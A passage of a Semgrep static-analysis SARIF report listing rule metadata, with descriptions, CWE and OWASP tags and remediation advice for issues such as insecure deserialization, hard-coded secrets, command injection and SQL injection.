[https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://pandas.pydata.org/docs/reference/api/pandas.read_hdf.html](https://pandas.pydata.org/docs/reference/api/pandas.read_hdf.html)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://redfoxsec.com/blog/insecure-deserialization-in-python/](https://redfoxsec.com/blog/insecure-deserialization-in-python/)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_hdf()` function uses `pickle` when the `fixed` format is used during serializing. This function should not be used with untrusted data."},"helpUri":"https://semgrep.dev/r/python.flask.deserialization.tainted-pandas-hdf-flask.tainted-pandas-hdf-flask","id":"python.flask.deserialization.tainted-pandas-hdf-flask.tainted-pandas-hdf-flask","name":"python.flask.deserialization.tainted-pandas-hdf-flask.tainted-pandas-hdf-flask","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.deserialization.tainted-pandas-hdf-flask.tainted-pandas-hdf-flask"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.secrets.diesel.mysql-connection-empty-password.mysql-connection-empty-password)\n - [https://docs.diesel.rs/master/diesel/index.html](https://docs.diesel.rs/master/diesel/index.html)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/rust.secrets.diesel.mysql-connection-empty-password.mysql-connection-empty-password","id":"rust.secrets.diesel.mysql-connection-empty-password.mysql-connection-empty-password","name":"rust.secrets.diesel.mysql-connection-empty-password.mysql-connection-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: rust.secrets.diesel.mysql-connection-empty-password.mysql-connection-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Default routes are enabled in this routes file. This means any public method on a controller can be called as an action. It is very easy to accidentally expose a method you didn't mean to. Instead, remove this line and explicitly include all routes you intend external users to follow."},"help":{"markdown":"Default routes are enabled in this routes file. This means any public method on a controller can be called as an action. It is very easy to accidentally expose a method you didn't mean to. Instead, remove this line and explicitly include all routes you intend external users to follow.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.audit.xss.avoid-default-routes.avoid-default-routes)\n - [https://github.com/presidentbeef/brakeman/blob/main/docs/warning_types/default_routes/index.markdown](https://github.com/presidentbeef/brakeman/blob/main/docs/warning_types/default_routes/index.markdown)\n","text":"Default routes are enabled in this routes file. This means any public method on a controller can be called as an action. It is very easy to accidentally expose a method you didn't mean to. Instead, remove this line and explicitly include all routes you intend external users to follow."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.audit.xss.avoid-default-routes.avoid-default-routes","id":"ruby.rails.security.audit.xss.avoid-default-routes.avoid-default-routes","name":"ruby.rails.security.audit.xss.avoid-default-routes.avoid-default-routes","properties":{"precision":"very-high","tags":["CWE-276: Incorrect Default Permissions","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.audit.xss.avoid-default-routes.avoid-default-routes"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Possibility of prototype polluting function detected. By adding or modifying attributes of an object prototype, it is possible to create attributes that exist on every object, or replace critical attributes with malicious ones. This can be problematic if the software depends on existence or non-existence of certain attributes, or uses pre-defined attributes of object prototype (such as hasOwnProperty, toString or valueOf). Possible mitigations might be: freezing the object prototype, using an object without prototypes (via Object.create(null) ), blocking modifications of attributes that resolve to object prototype, using Map instead of object."},"help":{"markdown":"Possibility of prototype polluting function detected. By adding or modifying attributes of an object prototype, it is possible to create attributes that exist on every object, or replace critical attributes with malicious ones. This can be problematic if the software depends on existence or non-existence of certain attributes, or uses pre-defined attributes of object prototype (such as hasOwnProperty, toString or valueOf). Possible mitigations might be: freezing the object prototype, using an object without prototypes (via Object.create(null) ), blocking modifications of attributes that resolve to object prototype, using Map instead of object.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.security.audit.prototype-pollution.prototype-pollution-loop.prototype-pollution-loop)\n - [https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf)\n","text":"Possibility of prototype polluting function detected. By adding or modifying attributes of an object prototype, it is possible to create attributes that exist on every object, or replace critical attributes with malicious ones. This can be problematic if the software depends on existence or non-existence of certain attributes, or uses pre-defined attributes of object prototype (such as hasOwnProperty, toString or valueOf). Possible mitigations might be: freezing the object prototype, using an object without prototypes (via Object.create(null) ), blocking modifications of attributes that resolve to object prototype, using Map instead of object."},"helpUri":"https://semgrep.dev/r/javascript.lang.security.audit.prototype-pollution.prototype-pollution-loop.prototype-pollution-loop","id":"javascript.lang.security.audit.prototype-pollution.prototype-pollution-loop.prototype-pollution-loop","name":"javascript.lang.security.audit.prototype-pollution.prototype-pollution-loop.prototype-pollution-loop","properties":{"precision":"very-high","tags":["CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes","LOW CONFIDENCE","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.security.audit.prototype-pollution.prototype-pollution-loop.prototype-pollution-loop"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.cassandra.ruby-cassandra-hardcoded-secret.ruby-cassandra-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/ruby.cassandra.ruby-cassandra-hardcoded-secret.ruby-cassandra-hardcoded-secret","id":"ruby.cassandra.ruby-cassandra-hardcoded-secret.ruby-cassandra-hardcoded-secret","name":"ruby.cassandra.ruby-cassandra-hardcoded-secret.ruby-cassandra-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.cassandra.ruby-cassandra-hardcoded-secret.ruby-cassandra-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Checks for unsafe use of Object#send, try, __send__, and public_send. These only account for unsafe use of a method, not target. This can lead to arbitrary calling of exit, along with arbitrary code execution. Please be sure to sanitize input in order to avoid this."},"help":{"markdown":"Checks for unsafe use of Object#send, try, __send__, and public_send. These only account for unsafe use of a method, not target. This can lead to arbitrary calling of exit, along with arbitrary code execution. Please be sure to sanitize input in order to avoid this.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.lang.security.no-send.bad-send)\n - [https://github.com/presidentbeef/brakeman/blob/main/lib/brakeman/checks/check_send.rb](https://github.com/presidentbeef/brakeman/blob/main/lib/brakeman/checks/check_send.rb)\n - [https://the.igreque.info/posts/2016/01-object-send-considered-harmful-en.html](https://the.igreque.info/posts/2016/01-object-send-considered-harmful-en.html)\n","text":"Checks for unsafe use of Object#send, try, __send__, and public_send. These only account for unsafe use of a method, not target. This can lead to arbitrary calling of exit, along with arbitrary code execution. Please be sure to sanitize input in order to avoid this."},"helpUri":"https://semgrep.dev/r/ruby.lang.security.no-send.bad-send","id":"ruby.lang.security.no-send.bad-send","name":"ruby.lang.security.no-send.bad-send","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.lang.security.no-send.bad-send"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected an element with disabled HTML escaping. If external data can reach this, this is a cross-site scripting (XSS) vulnerability. Ensure no external data can reach here, or remove 'escape=false' from this element."},"help":{"markdown":"Detected an element with disabled HTML escaping. If external data can reach this, this is a cross-site scripting (XSS) vulnerability. Ensure no external data can reach here, or remove 'escape=false' from this element.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.xss.jsf.autoescape-disabled.autoescape-disabled)\n - [https://stackoverflow.com/a/7442668](https://stackoverflow.com/a/7442668)\n","text":"Detected an element with disabled HTML escaping. If external data can reach this, this is a cross-site scripting (XSS) vulnerability. Ensure no external data can reach here, or remove 'escape=false' from this element."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.xss.jsf.autoescape-disabled.autoescape-disabled","id":"java.lang.security.audit.xss.jsf.autoescape-disabled.autoescape-disabled","name":"java.lang.security.audit.xss.jsf.autoescape-disabled.autoescape-disabled","properties":{"precision":"very-high","tags":["CWE-150: Improper Neutralization of Escape, Meta, or Control Sequences","LOW CONFIDENCE","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.xss.jsf.autoescape-disabled.autoescape-disabled"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"If unverified user data can reach the XML Parser it can result in XML External or Internal Entity (XXE) Processing vulnerabilities"},"help":{"markdown":"If unverified user data can reach the XML Parser it can result in XML External or Internal Entity (XXE) Processing vulnerabilities\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.node-expat.security.audit.expat-xxe.expat-xxe)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"If unverified user data can reach the XML Parser it can result in XML External or Internal Entity (XXE) Processing vulnerabilities"},"helpUri":"https://semgrep.dev/r/javascript.node-expat.security.audit.expat-xxe.expat-xxe","id":"javascript.node-expat.security.audit.expat-xxe.expat-xxe","name":"javascript.node-expat.security.audit.expat-xxe.expat-xxe","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","LOW CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.node-expat.security.audit.expat-xxe.expat-xxe"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Password is exposed through JWT token payload. This is not encrypted and the password could be compromised. Do not store passwords in JWT tokens."},"help":{"markdown":"Password is exposed through JWT token payload. This is not encrypted and the password could be compromised. Do not store passwords in JWT tokens.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.jwt.security.jwt-exposed-credentials.ruby-jwt-exposed-credentials)\n - [https://cwe.mitre.org/data/definitions/522.html](https://cwe.mitre.org/data/definitions/522.html)\n","text":"Password is exposed through JWT token payload. This is not encrypted and the password could be compromised. Do not store passwords in JWT tokens."},"helpUri":"https://semgrep.dev/r/ruby.jwt.security.jwt-exposed-credentials.ruby-jwt-exposed-credentials","id":"ruby.jwt.security.jwt-exposed-credentials.ruby-jwt-exposed-credentials","name":"ruby.jwt.security.jwt-exposed-credentials.ruby-jwt-exposed-credentials","properties":{"precision":"very-high","tags":["CWE-522: Insufficiently Protected Credentials","LOW CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.jwt.security.jwt-exposed-credentials.ruby-jwt-exposed-credentials"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"SSLv3 is insecure because it has known vulnerabilities. Starting with go1.14, SSLv3 will be removed. Instead, use 'tls.VersionTLS13'."},"help":{"markdown":"SSLv3 is insecure because it has known vulnerabilities. Starting with go1.14, SSLv3 will be removed. Instead, use 'tls.VersionTLS13'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.crypto.ssl.ssl-v3-is-insecure)\n - [https://golang.org/doc/go1.14#crypto/tls](https://golang.org/doc/go1.14#crypto/tls)\n - [https://www.us-cert.gov/ncas/alerts/TA14-290A](https://www.us-cert.gov/ncas/alerts/TA14-290A)\n","text":"SSLv3 is insecure because it has known vulnerabilities. Starting with go1.14, SSLv3 will be removed. Instead, use 'tls.VersionTLS13'."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.crypto.ssl.ssl-v3-is-insecure","id":"go.lang.security.audit.crypto.ssl.ssl-v3-is-insecure","name":"go.lang.security.audit.crypto.ssl.ssl-v3-is-insecure","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.crypto.ssl.ssl-v3-is-insecure"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Bucket $X is not set to enforce encryption-in-transit, if not explictly setting this on the bucket policy - the property \"enforceSSL\" should be set to true"},"help":{"markdown":"Bucket $X is not set to enforce encryption-in-transit, if not explictly setting this on the bucket policy - the property \"enforceSSL\" should be set to true\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.aws-cdk.security.audit.awscdk-bucket-enforcessl.aws-cdk-bucket-enforcessl)\n - [https://docs.aws.amazon.com/AmazonS3/latest/userguide/security-best-practices.html](https://docs.aws.amazon.com/AmazonS3/latest/userguide/security-best-practices.html)\n","text":"Bucket $X is not set to enforce encryption-in-transit, if not explictly setting this on the bucket policy - the property \"enforceSSL\" should be set to true"},"helpUri":"https://semgrep.dev/r/typescript.aws-cdk.security.audit.awscdk-bucket-enforcessl.aws-cdk-bucket-enforcessl","id":"typescript.aws-cdk.security.audit.awscdk-bucket-enforcessl.aws-cdk-bucket-enforcessl","name":"typescript.aws-cdk.security.audit.awscdk-bucket-enforcessl.aws-cdk-bucket-enforcessl","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.aws-cdk.security.audit.awscdk-bucket-enforcessl.aws-cdk-bucket-enforcessl"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.redis.ruby-redis-hardcoded-uri.ruby-redis-hardcoded-uri)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/ruby.redis.ruby-redis-hardcoded-uri.ruby-redis-hardcoded-uri","id":"ruby.redis.ruby-redis-hardcoded-uri.ruby-redis-hardcoded-uri","name":"ruby.redis.ruby-redis-hardcoded-uri.ruby-redis-hardcoded-uri","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.redis.ruby-redis-hardcoded-uri.ruby-redis-hardcoded-uri"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.os.tainted-os-command-stdlib-django-secure-if-array.tainted-os-command-stdlib-django-secure-if-array)\n - [https://docs.python.org/3/library/os.html](https://docs.python.org/3/library/os.html)\n - [https://docs.python.org/3/library/subprocess.html#subprocess.Popen](https://docs.python.org/3/library/subprocess.html#subprocess.Popen)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n - [https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html](https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"helpUri":"https://semgrep.dev/r/python.django.os.tainted-os-command-stdlib-django-secure-if-array.tainted-os-command-stdlib-django-secure-if-array","id":"python.django.os.tainted-os-command-stdlib-django-secure-if-array.tainted-os-command-stdlib-django-secure-if-array","name":"python.django.os.tainted-os-command-stdlib-django-secure-if-array.tainted-os-command-stdlib-django-secure-if-array","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.os.tainted-os-command-stdlib-django-secure-if-array.tainted-os-command-stdlib-django-secure-if-array"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.os.tainted-os-command-stdlib.tainted-os-command-stdlib)\n - [https://docs.python.org/3/library/os.html](https://docs.python.org/3/library/os.html)\n - [https://docs.python.org/3/library/subprocess.html#subprocess.Popen](https://docs.python.org/3/library/subprocess.html#subprocess.Popen)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n - [https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html](https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"helpUri":"https://semgrep.dev/r/python.lang.os.tainted-os-command-stdlib.tainted-os-command-stdlib","id":"python.lang.os.tainted-os-command-stdlib.tainted-os-command-stdlib","name":"python.lang.os.tainted-os-command-stdlib.tainted-os-command-stdlib","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.os.tainted-os-command-stdlib.tainted-os-command-stdlib"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.system.oracleconnectionstringbuilder-hardcoded-secret.oracleconnectionstringbuilder-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/csharp.lang.security.system.oracleconnectionstringbuilder-hardcoded-secret.oracleconnectionstringbuilder-hardcoded-secret","id":"csharp.lang.security.system.oracleconnectionstringbuilder-hardcoded-secret.oracleconnectionstringbuilder-hardcoded-secret","name":"csharp.lang.security.system.oracleconnectionstringbuilder-hardcoded-secret.oracleconnectionstringbuilder-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.system.oracleconnectionstringbuilder-hardcoded-secret.oracleconnectionstringbuilder-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet-core.sqli.entityframework-taint.entityframework-taint)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/csharp.dotnet-core.sqli.entityframework-taint.entityframework-taint","id":"csharp.dotnet-core.sqli.entityframework-taint.entityframework-taint","name":"csharp.dotnet-core.sqli.entityframework-taint.entityframework-taint","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet-core.sqli.entityframework-taint.entityframework-taint"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"The seed value of a Pseudo Random Number Generator (PRNG) is directly derived from the time, which is highly predictable. Do not use values from this PRNG to derive a secrets, such as passwords or cryptographic keys."},"help":{"markdown":"The seed value of a Pseudo Random Number Generator (PRNG) is directly derived from the time, which is highly predictable. Do not use values from this PRNG to derive a secrets, such as passwords or cryptographic keys.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.rng.predictable-seed-rng-time.predictable-seed-rng-time)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n - [https://wiki.sei.cmu.edu/confluence/display/cplusplus/MSC51-CPP.+Ensure+your+random+number+generator+is+properly+seeded](https://wiki.sei.cmu.edu/confluence/display/cplusplus/MSC51-CPP.+Ensure+your+random+number+generator+is+properly+seeded)\n","text":"The seed value of a Pseudo Random Number Generator (PRNG) is directly derived from the time, which is highly predictable. Do not use values from this PRNG to derive a secrets, such as passwords or cryptographic keys."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.rng.predictable-seed-rng-time.predictable-seed-rng-time","id":"cpp.lang.security.rng.predictable-seed-rng-time.predictable-seed-rng-time","name":"cpp.lang.security.rng.predictable-seed-rng-time.predictable-seed-rng-time","properties":{"precision":"very-high","tags":["CWE-337: Predictable Seed in Pseudo-Random Number Generator (PRNG)","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.rng.predictable-seed-rng-time.predictable-seed-rng-time"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"SendGrid API Key detected"},"help":{"markdown":"SendGrid API Key detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-sendgrid-api-key.detected-sendgrid-api-key)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"SendGrid API Key detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-sendgrid-api-key.detected-sendgrid-api-key","id":"generic.secrets.security.detected-sendgrid-api-key.detected-sendgrid-api-key","name":"generic.secrets.security.detected-sendgrid-api-key.detected-sendgrid-api-key","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-sendgrid-api-key.detected-sendgrid-api-key"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected an insecure redirect in this nginx configuration. If no scheme is specified, nginx will forward the request with the incoming scheme. This could result in unencrypted communications. To fix this, include the 'https' scheme."},"help":{"markdown":"Detected an insecure redirect in this nginx configuration. If no scheme is specified, nginx will forward the request with the incoming scheme. This could result in unencrypted communications. To fix this, include the 'https' scheme.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.nginx.security.insecure-redirect.insecure-redirect)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected an insecure redirect in this nginx configuration. If no scheme is specified, nginx will forward the request with the incoming scheme. This could result in unencrypted communications. To fix this, include the 'https' scheme."},"helpUri":"https://semgrep.dev/r/generic.nginx.security.insecure-redirect.insecure-redirect","id":"generic.nginx.security.insecure-redirect.insecure-redirect","name":"generic.nginx.security.insecure-redirect.insecure-redirect","properties":{"precision":"very-high","tags":["CWE-319: 